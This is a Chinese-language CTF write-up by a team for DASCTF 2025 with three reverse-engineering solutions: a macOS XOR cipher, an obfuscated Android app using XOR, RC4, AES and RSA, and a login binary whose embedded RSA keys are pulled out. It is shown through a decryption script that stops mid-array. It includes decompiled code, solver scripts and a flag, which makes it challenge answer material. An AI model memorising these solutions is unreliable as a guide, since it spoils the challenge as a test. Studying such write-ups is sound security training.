找回密码
 立即注册
首页 业界区 业界 DASCTF 2025下半年赛 OnePanda战队WP

DASCTF 2025下半年赛 OnePanda战队WP

材部 昨天 16:55


REVERSE

ezmac


IDA打开找到加密的主要部分
  1. __int64 __fastcall sub_100000634(_QWORD a1, _QWORD a2, _QWORD a3, _QWORD a4, _QWORD a5, __int64 n57){  unsigned __int8 *v6; // x21  char v7; // w3  unsigned __int8 *v8; // x21  int v9; // t1  unsigned __int8 v11; // w3  unsigned __int8 *v12; // x21  while ( 1 )  {    v9 = *v6;    v8 = v6 + 1;    v7 = v9;    if ( !v9 )      break;    v11 = v7 ^ n57;    LOBYTE(n57) = n57 + 1;    v12 = v8 - 1;    *v12 = v11;    v6 = v12 + 1;  }  return sub_100000654();}
复制代码
简单的加密逻辑可以写脚本了
  1. # 密文数据(十六进制)ciphertext = [    0x7D, 0x7B, 0x68, 0x7F, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76,    0x75, 0x22, 0x26, 0x7B, 0x7C, 0x7E, 0x78, 0x7A, 0x2E, 0x2D, 0x7F, 0x2D]# 起始密钥key = 57# 解密每个字节flag_chars = []for i, byte in enumerate(ciphertext):    # 使用当前密钥进行XOR解密    decrypted = byte ^ (key + i)    flag_chars.append(chr(decrypted))# 组合成字符串flag = ''.join(flag_chars)print(f"Flag: {flag}")
复制代码
Flag: DASCTF{83c720da35436cc0}
Androidfile

下载附件打开找到mainactivity
  1. package com.dasctf.androidfile;import B.h;import R0.c;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.J;import androidx.activity.K;import androidx.activity.p;import androidx.activity.w;import c0.C0121a;import f.AbstractActivityC0139h;import f.C0138g;import i0.ViewOnClickListenerC0168a;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0139h {    /* renamed from: A, reason: collision with root package name */    public TextView f1684A;    /* renamed from: y, reason: collision with root package name */    public Button f1685y;    /* renamed from: z, reason: collision with root package name */    public TextView f1686z;    static {        System.loadLibrary(w.i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));    }    public MainActivity() {        this.f739d.f1683b.f("androidx:appcompat", new C0121a(this));        i(new C0138g(this));    }    public static String A() {        String i2 = w.i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");        StringBuffer stringBuffer = new StringBuffer();        Random random = new Random();        for (int i3 = 0; i3 < 16; i3++) {            stringBuffer.append(i2.charAt(random.nextInt(i2.length())));        }        return stringBuffer.toString();    }    public static String C(String str, String str2, String str3) {        byte[] bytes = str2.getBytes();        byte[] bytes2 = str3.getBytes();        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, w.i("Udks\n", "EJx/huJaZmg=\n"));        IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);        Cipher cipher = Cipher.getInstance(w.i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));        cipher.init(1, secretKeySpec, ivParameterSpec);        return Base64.encodeToString(cipher.doFinal(str.getBytes(w.i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);    }    public static String D(String str) {        byte[] bytes = str.getBytes();        PublicKey generatePublic = KeyFactory.getInstance(w.i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(w.i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));        Cipher cipher = Cipher.getInstance(w.i("sSby\n", "43WztTWiQRk=\n"));        cipher.init(1, generatePublic);        return Base64.encodeToString(cipher.doFinal(bytes), 0);    }    /* JADX INFO: Access modifiers changed from: private */    public native String a_p(String str);    /* JADX WARN: Multi-variable type inference failed */    /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */    /* JADX WARN: Type inference failed for: r10v24 */    /* JADX WARN: Type inference failed for: r10v25 */    /* JADX WARN: Type inference failed for: r10v26 */    /* JADX WARN: Type inference failed for: r10v27 */    /* JADX WARN: Type inference failed for: r10v28 */    @Override // f.AbstractActivityC0139h, androidx.activity.n, y.f, android.app.Activity    public final void onCreate(Bundle bundle) {        h hVar;        super.onCreate(bundle);        int i2 = p.f753a;        J j2 = J.f705a;        K k2 = new K(0, 0, j2);        K k3 = new K(p.f753a, p.f754b, j2);        View decorView = getWindow().getDecorView();        c.d(decorView, "window.decorView");        Resources resources = decorView.getResources();        c.d(resources, "view.resources");        boolean booleanValue = ((Boolean) j2.b(resources)).booleanValue();        Resources resources2 = decorView.getResources();        c.d(resources2, "view.resources");        boolean booleanValue2 = ((Boolean) j2.b(resources2)).booleanValue();        int i3 = Build.VERSION.SDK_INT;        if (i3 >= 30) {            hVar = new Object();        } else if (i3 >= 29) {            hVar = new Object();        } else if (i3 >= 28) {            hVar = new Object();        } else if (i3 >= 26) {            hVar = new Object();        } else {            hVar = new Object();        }        Window window = getWindow();        c.d(window, "window");        hVar.C0(k2, k3, window, decorView, booleanValue, booleanValue2);        Window window2 = getWindow();        c.d(window2, "window");        hVar.d(window2);        setContentView(R.layout.activity_main);        this.f1685y = (Button) findViewById(R.id.mybutton1);        this.f1686z = (TextView) findViewById(R.id.edit_text_1);        this.f1684A = (TextView) findViewById(R.id.edit_text_2);        String i4 = w.i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");        w.i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");        this.f1685y.setOnClickListener(new ViewOnClickListenerC0168a(this, A(), i4, A()));    }}
复制代码
可以看到是有混淆的用jadx自带的去混淆功能
去混淆后是
  1. package com.dasctf.androidfile;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.AbstractC0426p;import androidx.activity.AbstractC0433w;import androidx.activity.C0409J;import androidx.activity.C0410K;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import p002B.AbstractC0027h;import p033R0.AbstractC0330c;import p053c0.C0618a;import p057f.AbstractActivityC0681h;import p057f.C0680g;import p062i0.ViewOnClickListenerC0766a;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0681h {    /* renamed from: A */    public TextView f2053A;    /* renamed from: y */    public Button f2054y;    /* renamed from: z */    public TextView f2055z;    static {        System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));    }    public MainActivity() {        this.f921d.f2051b.m1674f("androidx:appcompat", new C0618a(this));        m960i(new C0680g(this));    }    /* renamed from: A */    public static String m1679A() {        String m986i = AbstractC0433w.m986i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");        StringBuffer stringBuffer = new StringBuffer();        Random random = new Random();        for (int i2 = 0; i2 < 16; i2++) {            stringBuffer.append(m986i.charAt(random.nextInt(m986i.length())));        }        return stringBuffer.toString();    }    /* renamed from: C */    public static String m1681C(String str, String str2, String str3) {        byte[] bytes = str2.getBytes();        byte[] bytes2 = str3.getBytes();        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, AbstractC0433w.m986i("Udks\n", "EJx/huJaZmg=\n"));        IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);        Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));        cipher.init(1, secretKeySpec, ivParameterSpec);        return Base64.encodeToString(cipher.doFinal(str.getBytes(AbstractC0433w.m986i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);    }    /* renamed from: D */    public static String m1682D(String str) {        byte[] bytes = str.getBytes();        PublicKey generatePublic = KeyFactory.getInstance(AbstractC0433w.m986i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(AbstractC0433w.m986i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));        Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("sSby\n", "43WztTWiQRk=\n"));        cipher.init(1, generatePublic);        return Base64.encodeToString(cipher.doFinal(bytes), 0);    }    /* JADX INFO: Access modifiers changed from: private */    public native String a_p(String str);    /* JADX WARN: Multi-variable type inference failed */    /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */    /* JADX WARN: Type inference failed for: r10v24 */    /* JADX WARN: Type inference failed for: r10v25 */    /* JADX WARN: Type inference failed for: r10v26 */    /* JADX WARN: Type inference failed for: r10v27 */    /* JADX WARN: Type inference failed for: r10v28 */    @Override // p057f.AbstractActivityC0681h, androidx.activity.AbstractActivityC0424n, p092y.AbstractActivityC1040f, android.app.Activity    public final void onCreate(Bundle bundle) {        AbstractC0027h abstractC0027h;        super.onCreate(bundle);        int i2 = AbstractC0426p.f938a;        C0409J c0409j = C0409J.f881a;        C0410K c0410k = new C0410K(0, 0, c0409j);        C0410K c0410k2 = new C0410K(AbstractC0426p.f938a, AbstractC0426p.f939b, c0409j);        View decorView = getWindow().getDecorView();        AbstractC0330c.m874d(decorView, "window.decorView");        Resources resources = decorView.getResources();        AbstractC0330c.m874d(resources, "view.resources");        boolean booleanValue = ((Boolean) c0409j.mo844b(resources)).booleanValue();        Resources resources2 = decorView.getResources();        AbstractC0330c.m874d(resources2, "view.resources");        boolean booleanValue2 = ((Boolean) c0409j.mo844b(resources2)).booleanValue();        int i3 = Build.VERSION.SDK_INT;        if (i3 >= 30) {            abstractC0027h = new Object();        } else if (i3 >= 29) {            abstractC0027h = new Object();        } else if (i3 >= 28) {            abstractC0027h = new Object();        } else if (i3 >= 26) {            abstractC0027h = new Object();        } else {            abstractC0027h = new Object();        }        Window window = getWindow();        AbstractC0330c.m874d(window, "window");        abstractC0027h.mo155C0(c0410k, c0410k2, window, decorView, booleanValue, booleanValue2);        Window window2 = getWindow();        AbstractC0330c.m874d(window2, "window");        abstractC0027h.mo177d(window2);        setContentView(R.layout.activity_main);        this.f2054y = (Button) findViewById(R.id.mybutton1);        this.f2055z = (TextView) findViewById(R.id.edit_text_1);        this.f2053A = (TextView) findViewById(R.id.edit_text_2);        String m986i = AbstractC0433w.m986i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");        AbstractC0433w.m986i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");        this.f2054y.setOnClickListener(new ViewOnClickListenerC0766a(this, m1679A(), m986i, m1679A()));    }}
复制代码
那么看到关键的是方法m986i和ViewOnClickListenerC0766a
打开看看分别是
  1.    public static String m986i(String str, String str2) {        byte[] m2057a = AbstractC0798a.m2057a(str);        byte[] m2057a2 = AbstractC0798a.m2057a(str2);        int length = m2057a.length;        int length2 = m2057a2.length;        int i2 = 0;        int i3 = 0;        while (i2 < length) {            if (i3 >= length2) {                i3 = 0;            }            m2057a[i2] = (byte) (m2057a[i2] ^ m2057a2[i3]);            i2++;            i3++;        }        return new String(m2057a, StandardCharsets.UTF_8);
复制代码
m986i主要就是把两个base64的参数进行异或可以分别异或得到相应的内容.会发现是 System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));加载native代码的地方打开看看
  1. __int64 __fastcall Java_com_dasctf_androidfile_MainActivity_a_1p(__int64 a1, __int64 a2, __int64 a3){  unsigned __int64 n256; // r15  const char *s; // r14  size_t v6; // rcx  unsigned __int64 v7; // rsi  __int64 n256_1; // rax  signed int v9; // edx  int v10; // esi  int v11; // edx  int v12; // edi  int v13; // r8d  int v14; // edx  signed int v15; // eax  __int64 v16; // rdx  unsigned __int8 v17; // si  int v18; // r8d  char v19; // r8  int v20; // eax  __int64 v21; // rax  _QWORD v24[33]; // [rsp+8h] [rbp-230h] BYREF  _OWORD v25[16]; // [rsp+110h] [rbp-128h] BYREF  unsigned __int64 v26; // [rsp+218h] [rbp-20h]  v26 = __readfsqword(0x28u);  v24[0] = 'ESREVER';  n256 = 0;  s = (*(*a1 + 1352LL))(a1, a3, 0);  v6 = strlen(s);  memset(v25, 0, sizeof(v25));  v7 = 1;  do  {    *(&v24[1] + n256) = n256;    *(v25 + n256) = *(v24 + n256 + -7 * (n256 / 7));    *(&v24[1] + n256 + 1) = n256 + 1;    *(v25 + n256 + 1) = *(v24 + n256 + -7 * (v7 / 7) + 1);    v7 += 2LL;    n256 += 2LL;  }  while ( n256 != 256 );  n256_1 = 0;  v9 = 0;  do  {    v10 = *(&v24[1] + n256_1);    v11 = v10 + v9;    v12 = *(v25 + n256_1);    v13 = v12 + v11 + 255;    v14 = v12 + v11;    if ( v14 >= 0 )      v13 = v14;    v9 = v14 - (v13 & 0xFFFFFF00);    *(&v24[1] + n256_1) = *(&v24[1] + v9);    *(&v24[1] + v9) = v10;    ++n256_1;  }  while ( n256_1 != 256 );  if ( v6 )  {    v15 = 0;    v16 = 0;    v17 = 0;    do    {      v18 = v15 + 256;      if ( v15 + 1 >= 0 )        v18 = v15 + 1;      v15 = v15 - (v18 & 0xFFFFFF00) + 1;      v19 = *(&v24[1] + v15);      v17 += v19;      *(&v24[1] + v15) = *(&v24[1] + v17);      *(&v24[1] + v17) = v19;      s[v16++] ^= *(&v24[1] + (*(&v24[1] + v15) + v19));    }    while ( v6 != v16 );  }  v20 = strlen(s);  v21 = base64_encode(s, v20);  return (*(*a1 + 1336LL))(a1, v21, __readfsqword(0x28u));}
复制代码
很简单的逻辑经过标准RC4和BASE64的加密逻辑,RC4的密钥是REVERSE
  1. package p062i0;import android.util.Log;import android.view.View;import android.widget.TextView;import android.widget.Toast;import androidx.activity.AbstractC0433w;import com.dasctf.androidfile.MainActivity;/* renamed from: i0.a *//* loaded from: classes.dex */public final class ViewOnClickListenerC0766a implements View.OnClickListener {    /* renamed from: a */    public final /* synthetic */ String f2939a;    /* renamed from: b */    public final /* synthetic */ String f2940b;    /* renamed from: c */    public final /* synthetic */ MainActivity f2941c;    public ViewOnClickListenerC0766a(MainActivity mainActivity, String str, String str2, String str3) {        this.f2941c = mainActivity;        this.f2939a = str;        this.f2940b = str3;    }    @Override // android.view.View.OnClickListener    public final void onClick(View view) {        String a_p;        String str = this.f2940b;        String str2 = this.f2939a;        MainActivity mainActivity = this.f2941c;        String charSequence = mainActivity.f2055z.getText().toString();        if (charSequence.length() != 40) {            Toast.makeText(mainActivity, AbstractC0433w.m986i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n"), 1).show();            return;        }        try {            String str3 = AbstractC0433w.m986i("WpRWV0c7\n", "P/o9Mj5kh8w=\n") + MainActivity.m1682D(str2) + AbstractC0433w.m986i("apcRF1g=\n", "D/l4YQdZTS4=\n") + MainActivity.m1682D(str);            String m1681C = MainActivity.m1681C(charSequence, str2, str);            TextView textView = mainActivity.f2053A;            StringBuilder sb = new StringBuilder();            a_p = mainActivity.a_p(str3);            sb.append(a_p);            sb.append(AbstractC0433w.m986i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n"));            sb.append(m1681C);            textView.setText(sb.toString());        } catch (Exception unused) {            Log.i(AbstractC0433w.m986i("Pea57E0g2gg0+bHuTA==\n", "UJ/YgilStWE=\n"), AbstractC0433w.m986i("Rb1FBTs=\n", "IM83akkWYKo=\n"));        }    }}
复制代码
如图的逻辑.

写脚本把异或的恢复
  1. import base64def w_i(s1: str, s2: str) -> str:    """实现w.i()方法:两个base64字符串解码后循环异或"""    # 清理字符串,移除换行符和空格    s1 = ''.join(s1.split())    s2 = ''.join(s2.split())        # Base64解码    try:        b1 = base64.b64decode(s1)        b2 = base64.b64decode(s2)    except Exception as e:        return f"Base64解码错误: {e}"        # 循环异或    result = bytearray()    for i in range(len(b1)):        result.append(b1[i] ^ b2[i % len(b2)])        # 尝试解码为UTF-8字符串    try:        return result.decode('utf-8')    except UnicodeDecodeError:        # 如果是二进制数据,以十六进制显示        return f"[Binary Data: {result.hex()}]"# 测试字符集字符串的解密print("=== 测试字符集解密 ===")charset_result = w_i(    "EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n",    "IATjcvz4GKg=\n")print(f"字符集解密结果: {charset_result}")print(f"字符集长度: {len(charset_result)}")print("\n=== 解密其他字符串 ===")# 1. 库名lib_result = w_i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")print(f"1. 库名: {lib_result}")# 2. URL部分url1 = w_i("WpRWV0c7\n", "P/o9Mj5kh8w=\n")url2 = w_i("apcRF1g=\n", "D/l4YQdZTS4=\n")print(f"2. URL第一部分: '{url1}'")print(f"3. URL第二部分: '{url2}'")# 3. 固定后缀suffix = w_i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")print(f"4. 固定后缀: '{suffix}'")# 4. Toast消息toast = w_i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n")print(f"5. Toast消息: '{toast}'")# 5. i4字符串i4_result = w_i(    "ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zjgm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCHKzBPPuqOaJMDOU8akvA=",    "KeRGeA5Lr80=")print(f"6. i4字符串: {i4_result}")# 6. 长字符串long_result = w_i(    "r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SFUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYOesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjrAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8aIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZReneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4eaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNjsVkU2g==",    "4iEgikATCzE=")print(f"7. 长字符串: {long_result[:200]}...")
复制代码
得到的信息:

  • 库名: androidfile
  • URL第一部分: 'enkey_'
  • URL第二部分: 'eniv_'
  • 固定后缀: ''
  • Toast消息: 'length error'
附件就是密文了,并且encryptinpu就是需要的密文,那么前面的就应该是AES的iv和key
接下来就是解密了.




得到结果.
login

IDA打开可以看到
有一个使用RC4加密所有网络数据,密钥为qwertyui
sub_5302是响应的函数
主要的加密位置
其中的参数已经在注释了.
  1.               _d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec2631027 = sub_5042(                                                                                  *&off_90A0,// "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"                                                                                  *&off_90A8,// "10001"                                                                                  *&off_90B0,// "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f"                                                                                  *&off_90B8,// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"                                                                                  *&off_90C0,// "0"                                                                                  s_,                                                                                  ptr);// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"              
复制代码
那就直接解RSA其中
  1. 公钥n = 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3e = 10001私钥的参数p = b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667fq = d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad
复制代码
然后在   sub_49DD(s__2, 42, s__1, s_, p_req_login...);中的函数往下找下去可以找到AES的相关账号的登录参数
  1. from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP, AESn = int("9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3", 16)e = 0x10001d = int("28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69", 16)p = int("b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f", 16)q = int("d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad", 16)byte_C1A0 = bytes([    0x16, 0x38, 0xE0, 0xEB, 0x93, 0x61, 0x40, 0xB5, 0x52, 0x70,    0x33, 0x29, 0x2C, 0xBE, 0xFC, 0xD7, 0x3B, 0x55, 0xCF, 0xC7,    0xFB, 0x79, 0xDF, 0x51, 0xAE, 0x37, 0x68, 0xA0, 0xDD, 0x9C,    0x84, 0xAE, 0x45, 0x80, 0xE4, 0x7A, 0x51, 0x33, 0xB4, 0x25,    0xF4, 0xC9, 0x3E, 0xAC, 0x97, 0xE4, 0xB1, 0xAA, 0x0B, 0x4C,    0xD3, 0x05, 0x89, 0xD0, 0x04, 0xF6, 0xD0, 